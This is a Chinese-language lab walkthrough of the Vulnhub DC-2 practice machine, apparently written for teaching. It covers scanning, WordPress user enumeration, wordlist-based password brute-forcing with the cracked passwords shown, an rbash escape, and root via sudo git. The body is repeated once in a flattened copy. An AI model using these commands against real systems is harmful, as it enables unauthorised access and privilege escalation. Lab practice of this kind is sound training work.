Vulnhub靶机 DC-2 打靶 渗透详细过程
字数 1362 2025-08-19 12:42:32

Vulnhub靶机DC-2渗透测试详细教程

1. 靶机环境准备

2. 信息收集阶段

2.1 主机发现

使用以下命令探测目标主机IP地址:

arp-scan -l
# 或
nmap -sn 10.1.2.0/24

假设发现目标IP为10.1.2.154

2.2 端口扫描

nmap -p- 10.1.2.154

典型扫描结果会显示:

  • 80端口(HTTP服务)
  • 7744端口(SSH服务,非标准端口)

2.3 服务探针

nmap -sV -p 80,7744 10.1.2.154

3. Web应用渗透

3.1 访问Web服务

打开浏览器访问http://10.1.2.154,首页会显示flag1,内容为:

你通常的词汇表可能不会起作用,所以,也许你只需要保持冷静(cewl)。密码越多越好,但有时候你就是赢不了所有密码。以一个登录查看下一个标志。如果找不到,请以另一个身份登录。

3.2 目录爆破

使用dirsearch工具扫描网站目录:

dirsearch -u http://dc-2 -i 200

3.3 WordPress识别

发现网站使用WordPress CMS,使用wpscan扫描:

wpscan --url http://dc-2 -e u

扫描结果会显示三个用户:

  • admin
  • tom
  • jerry

将用户名保存到user.txt文件中。

3.4 密码字典生成

根据flag1提示,使用cewl生成密码字典:

cewl http://dc-2 -w passwd.txt

3.5 WordPress爆破

使用wpscan进行密码爆破:

wpscan --url http://dc-2 -U user.txt -P passwd.txt

爆破结果:

  • 用户名: tom 密码: parturient
  • 用户名: jerry 密码: adipiscing

3.6 登录WordPress后台

使用获得的凭据登录WordPress后台,找到flag2:

如果您无法利用 WordPress 并走捷径,还有另一种方法。希望你找到了另一个切入点。

4. SSH远程登录

4.1 尝试SSH登录

ssh tom@10.1.2.154 -p 7744
# 密码: parturient

ssh jerry@10.1.2.154 -p 7744
# 密码: adipiscing

发现tom可以成功登录,jerry无法直接登录。

4.2 获取flag3

登录tom账户后,在家目录发现flag3.txt:

可怜的老汤姆总是追着杰瑞跑。也许他应该为自己造成的压力承担责任。(su命令提示)

5. 受限shell(rbash)逃逸

5.1 检查当前shell环境

echo $SHELL
# 显示为rbash(受限bash)

5.2 rbash逃逸方法

BASH_CMDS[su]=/bin/sh
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
su jerry
# 输入jerry的密码: adipiscing

成功切换到jerry用户。

5.3 获取flag4

在jerry的家目录找到flag4.txt:

很高兴看到你已经走了这么远-但你还没回家。你仍然需要得到最后的旗帜(唯一真正重要的旗帜!!!)这里没有提示-你现在是在你自己。:-)走吧-离开这里!!!!(git)

6. 权限提升

6.1 检查sudo权限

sudo -l

发现jerry用户可以以root权限执行git命令。

6.2 利用git提权

sudo git branch --help config
!/bin/sh

成功获取root权限。

6.3 获取最终flag

在root目录下找到最终的flag文件。

7. 总结

整个渗透测试过程涉及以下关键技术和工具:

  1. 主机发现: arp-scan, nmap
  2. 端口扫描和服务识别: nmap
  3. Web目录爆破: dirsearch
  4. WordPress扫描: wpscan
  5. 密码字典生成: cewl
  6. 受限shell逃逸技术
  7. sudo提权: git提权

通过这个靶机,我们学习了从信息收集到最终提权的完整渗透测试流程,特别是WordPress系统的常见攻击方法和受限环境下的逃逸技术。

Vulnhub靶机DC-2渗透测试详细教程 1. 靶机环境准备 靶机下载地址: https://www.vulnhub.com/entry/dc-2,311/ 将下载的OVA文件导入到虚拟机软件(如VMware或VirtualBox)中 2. 信息收集阶段 2.1 主机发现 使用以下命令探测目标主机IP地址: 假设发现目标IP为 10.1.2.154 2.2 端口扫描 典型扫描结果会显示: 80端口(HTTP服务) 7744端口(SSH服务,非标准端口) 2.3 服务探针 3. Web应用渗透 3.1 访问Web服务 打开浏览器访问 http://10.1.2.154 ,首页会显示flag1,内容为: 你通常的词汇表可能不会起作用,所以,也许你只需要保持冷静(cewl)。密码越多越好,但有时候你就是赢不了所有密码。以一个登录查看下一个标志。如果找不到,请以另一个身份登录。 3.2 目录爆破 使用dirsearch工具扫描网站目录: 3.3 WordPress识别 发现网站使用WordPress CMS,使用wpscan扫描: 扫描结果会显示三个用户: admin tom jerry 将用户名保存到 user.txt 文件中。 3.4 密码字典生成 根据flag1提示,使用cewl生成密码字典: 3.5 WordPress爆破 使用wpscan进行密码爆破: 爆破结果: 用户名: tom 密码: parturient 用户名: jerry 密码: adipiscing 3.6 登录WordPress后台 使用获得的凭据登录WordPress后台,找到flag2: 如果您无法利用 WordPress 并走捷径,还有另一种方法。希望你找到了另一个切入点。 4. SSH远程登录 4.1 尝试SSH登录 发现tom可以成功登录,jerry无法直接登录。 4.2 获取flag3 登录tom账户后,在家目录发现flag3.txt: 可怜的老汤姆总是追着杰瑞跑。也许他应该为自己造成的压力承担责任。(su命令提示) 5. 受限shell(rbash)逃逸 5.1 检查当前shell环境 5.2 rbash逃逸方法 成功切换到jerry用户。 5.3 获取flag4 在jerry的家目录找到flag4.txt: 很高兴看到你已经走了这么远-但你还没回家。你仍然需要得到最后的旗帜(唯一真正重要的旗帜!!!)这里没有提示-你现在是在你自己。:-)走吧-离开这里!!! !(git) 6. 权限提升 6.1 检查sudo权限 发现jerry用户可以以root权限执行git命令。 6.2 利用git提权 成功获取root权限。 6.3 获取最终flag 在root目录下找到最终的flag文件。 7. 总结 整个渗透测试过程涉及以下关键技术和工具: 主机发现: arp-scan, nmap 端口扫描和服务识别: nmap Web目录爆破: dirsearch WordPress扫描: wpscan 密码字典生成: cewl 受限shell逃逸技术 sudo提权: git提权 通过这个靶机,我们学习了从信息收集到最终提权的完整渗透测试流程,特别是WordPress系统的常见攻击方法和受限环境下的逃逸技术。